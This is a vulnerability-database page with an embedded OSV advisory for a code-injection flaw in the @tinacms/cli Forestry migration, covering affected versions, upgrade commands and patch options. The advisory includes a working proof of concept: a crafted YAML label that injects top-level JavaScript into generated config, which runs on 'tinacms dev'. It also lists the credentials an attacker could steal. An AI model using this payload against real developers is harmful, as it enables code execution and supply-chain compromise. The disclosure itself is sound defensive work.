CVE-2026-54074: @tinacms/cli Remote Code Execution Vulnerability
HIGHCVE-2026-54074 is a HIGH (CVSS 7.8) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting @tinacms/cli libraries in the npm ecosystem. The issue involves remote code execution in @tinacms/cli via forestry migration — unsanitised __tina_internal__ marker in user-controlled yaml labels. Remediation is available by upgrading affected packages to version 2.4.3.
CVE-2026-54074 at a Glance
Security Impact
CVSS: 7.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-54074
To remediate this vulnerability, upgrade all affected @tinacms/cli dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @tinacms/cli@2.4.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @tinacms/cli
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-54074, inspect your project dependencies using npm:
npm ls @tinacms/cli
Analyze the terminal output to locate any version of @tinacms/cli in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.4.3), your application is affected.
Note: The npm ls @tinacms/cli command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In @tinacms/cli, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-54074 Affected @tinacms/cli Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@tinacms/cli
|
npm |
< 2.4.3
|
2.4.3
|
References
Frequently Asked Questions
What is CVE-2026-54074?
Which @tinacms/cli versions are affected?
What version fixes CVE-2026-54074?
Is @tinacms/cli affected?
What is the CVSS score of CVE-2026-54074?
What CWE is associated with CVE-2026-54074?
How can I check npm dependencies for CVE-2026-54074?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-4936-9hrh-qqpw",
"modified" : "2026-06-19T21:15:16Z",
"published" : "2026-06-19T21:15:16Z",
"aliases" : [ "CVE-2026-54074" ],
"summary" : "@tinacms/cli: Remote Code Execution in @tinacms/cli via Forestry migration — unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels",
"details" : "## Description\n\n### Summary\n\n`@tinacms/cli` contains a Remote Code Execution vulnerability in its\nForestry-to-Tina migration command. The internal helper `addVariablesToCode`\nunquotes any value matching the marker `\"__TINA_INTERNAL__:::(.*?):::\"`\ninside the stringified collection JSON. User-supplied `label` and `name`\nfields from `.forestry/**/*.yml` are placed into that JSON without any\nsanitisation. An attacker who controls a Forestry-style project can therefore\ninject arbitrary JavaScript into the generated `tina/templates.{ts,js}`\nfile. The injected code is written at module top level, so it executes\n**the moment the developer runs `tinacms dev` or `tinacms build`**, with the\ndeveloper's privileges.\n\n### Details\n\n**Vulnerable code path:**\n\n1. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts`\n — `transformForestryFieldsToTinaFields()` writes `forestryField.label`\n (and `.name`) straight into TinaField objects (no sanitisation).\n2. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts`,\n lines 16-22 — the regex-based unquoter:\n\n ```ts\n export const addVariablesToCode = (codeWithTinaPrefix: string) => {\n const code = codeWithTinaPrefix.replace(\n /\"__TINA_INTERNAL__:::(.*?):::\"/g,\n '$1'\n );\n return { code };\n };\n ```\n\n3. `codeTransformer.ts` lines 80-88 — the field array is\n `JSON.stringify`-ed and then handed to `addVariablesToCode`. Because\n `JSON.stringify` does **not** escape single quotes or backticks, an\n attacker who avoids `\"` in the payload survives the JSON pass intact.\n4. `packages/@tinacms/cli/src/cmds/init/apply.ts` lines 110-116 — the\n resulting string is written to `tina/templates.{ts,js}` and imported by\n the generated `tina/config.{ts,js}`, which `tinacms dev` evaluates.\n\n**Why it executes immediately:** the regex unquoting allows the attacker's\npayload to *close the surrounding object/array and the enclosing\n`xxxFields()` function*, drop a top-level IIFE, and then start a dummy\nfunction that swallows the trailing JSON. The IIFE is at module scope,\nso it runs the instant `tina/config.ts` imports `./templates`.\n\n### PoC\n\nEnd-to-end verified against `tinacms` and `@tinacms/cli@2.3.1`, built from\ncommit `ae1ab5d0f` of `tinacms/tinacms` on Windows 11 + Node.js v24\n(behaviour is identical on Node 22).\n\n**Step 1 — attacker prepares a malicious Forestry project**\n\n`.forestry/settings.yml`\n\n```yaml\n---\nnew_page_extension: md\nauto_deploy: false\nadmin_path: ''\nwebhook_url: ''\nsections:\n- type: directory\n path: content/posts\n label: Posts\n create: all\n match: \"**/*.md\"\n templates:\n - rce\n```\n\n`.forestry/front_matter/templates/rce.yml`\n\n```yaml\n---\nlabel: rce_template\nfields:\n- name: title\n type: text\n label: \"__TINA_INTERNAL__:::1}] }; (function(){ const fs=require('fs'); const os=require('os'); fs.writeFileSync(require('path').join(os.tmpdir(),'PWNED_PROOF.txt'), 'RCE triggered on ' + os.hostname() + ' at ' + new Date().toISOString()); console.log('=== RCE SUCCESSFUL ==='); })(); function _ignore_(){ return [{x:1:::\"\n```\n\n> **Note on payload encoding.** The original disclosure draft used double\n> quotes inside the payload (`console.log(\"RCE\")`). `JSON.stringify` escapes\n> those to `\\\"`, which makes the generated TypeScript syntactically invalid\n> and is rejected by Prettier before the file is written. Using single\n> quotes or backticks for the inner string literals is required for the\n> exploit to succeed.\n\n**Step 2 — victim runs the standard onboarding flow**\n\n```bash\ngit clone <attacker repo>\ncd <attacker repo>\nnpx tinacms init # accepts the \"migrate Forestry templates?\" prompt\nnpx tinacms dev # OR: npx tinacms build\n```\n\n**Step 3 — generated `tina/templates.ts` (verbatim, from a clean run)**\n\n```ts\nimport type { TinaField } from \"tinacms\";\nexport function rce_templateFields() {\n return [{ type: \"string\", name: \"title\", label: 1 }];\n}\n(function () { // <-- TOP-LEVEL IIFE\n const fs = require(\"fs\");\n const os = require(\"os\");\n fs.writeFileSync(\n require(\"path\").join(os.tmpdir(), \"PWNED_PROOF.txt\"),\n \"RCE triggered on \" + os.hostname() + \" at \" + new Date().toISOString()\n );\n console.log(\"=== RCE SUCCESSFUL ===\");\n})();\nfunction _ignore_() {\n return [{ x: 1 }] as TinaField[];\n}\n```\n\n**Step 4 — observed result**\n\n```\n$ npx tinacms dev --noTelemetry --no-server\n🦙 TinaCMS Dev Server is initializing...\n=== RCE SUCCESSFUL ===\nCannot read properties of undefined (reading 'publicFolder')\n\n$ cat \"$TEMP/PWNED_PROOF.txt\"\nRCE triggered on <hostname> at 2026-05-23T06:57:29.800Z\n```\n\nThe `=== RCE SUCCESSFUL ===` line is printed **before** the dev server\nfails on the (intentionally minimal) config, proving the malicious code\nexecuted during config evaluation.\n\n### Impact\n\n* **Class:** Remote Code Execution (code injection into a generated source\n file that is automatically executed by the dev server/build).\n* **Attack vector:** Any developer who runs `tinacms init` on a Forestry\n project they did not author (e.g. a starter template, a community fork,\n a \"convert my site to Tina\" service, an evaluation of a third-party\n CMS migration) and then runs `tinacms dev` or `tinacms build`.\n* **Privileges obtained:** Full execution under the developer's user\n account. Practical consequences include:\n * Exfiltration of environment variables, `.env` files, SSH keys,\n `~/.aws/credentials`, `~/.npmrc` tokens, `~/.config/gh/hosts.yml`.\n * Source-code modification (planting backdoors before the developer's\n next commit / publish).\n * Supply-chain abuse via the developer's `npm publish` and `git push`\n credentials.\n * Persistence via shell rc files or scheduled tasks.\n* **Authentication:** None required from the attacker.\n* **User interaction:** Required — victim must run the migration and then\n the dev/build command. The migration prompt defaults to \"yes\".\n\n\n## Suggested Remediation\n\nEither fix is sufficient; **Option B is preferred** because it is\nstructurally impossible to bypass and does not silently drop user content.\n\n### Option A — sanitise user-controlled strings (the disclosure draft's proposal)\n\n```ts\n// packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts\nconst sanitizeString = (str: unknown): unknown =>\n typeof str === 'string'\n ? str.replace(/__TINA_INTERNAL__:::/g, '')\n : str;\n```\n\nApply to **every** user-controlled string that flows into a TinaField\nobject — at minimum `forestryField.label`, `forestryField.name`,\n`forestryField.template`, `forestryField.config.options[*]`,\n`forestryField.config.source.section`, and the equivalents on nested\n`fields`/`template_types` recursive paths.\n\n### Option B — change the marker to a sequence that cannot survive `JSON.stringify` of user data\n\n```ts\n// codeTransformer.ts\nconst MARKER_OPEN = '\u0001__TINA_INTERNAL__\u0001';\nconst MARKER_CLOSE = '\u0001/__TINA_INTERNAL__\u0001';\n\nexport const addVariablesToCode = (s: string) => ({\n code: s.replace(\n new RegExp(`\"${MARKER_OPEN}(.*?)${MARKER_CLOSE}\"`, 'g'),\n '$1'\n ),\n});\n```\n\n`JSON.stringify` escapes `\u0001` to the six-character sequence\n`\u0001`, so any literal control character supplied via YAML can never\nreconstruct the marker. The internal callers (`makeFieldsWithInternalCode`)\nkeep emitting real `\u0001` bytes, so the legitimate flow continues to\nwork and no user content is silently mutated.\n\n### Defence-in-depth\n\nRegardless of which option ships, the migration code should also:\n\n* Reject `forestryField.label` / `.name` that contain newlines or NUL\n bytes (Forestry never produced them).\n* Wrap the eventual `prettier.format(...)` call so that if formatting\n fails the build aborts (today an exception is propagated, which is\n good — keep it that way).\n\n---\n\n## Credit\n\nReported by **AnGrY-Althaf** (`angry.althaf@gmail.com`).\n\nEnd-to-end PoC executed locally against\n`tinacms@2.3.1` / `@tinacms/cli@2.3.1` built from commit `ae1ab5d0f`\nof `https://github.com/tinacms/tinacms`.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@tinacms/cli"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.4.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/tinacms/tinacms/security/advisories/GHSA-4936-9hrh-qqpw"
}, {
"type" : "WEB",
"url" : "https://github.com/tinacms/tinacms/pull/7006"
}, {
"type" : "WEB",
"url" : "https://github.com/tinacms/tinacms/commit/77665ae73dd4f9563d339535e76fa811a8abdfbb"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/tinacms/tinacms"
}, {
"type" : "WEB",
"url" : "https://github.com/tinacms/tinacms/releases/tag/@tinacms/cli@2.4.3"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-94" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-19T21:15:16Z",
"nvd_published_at" : null
}
}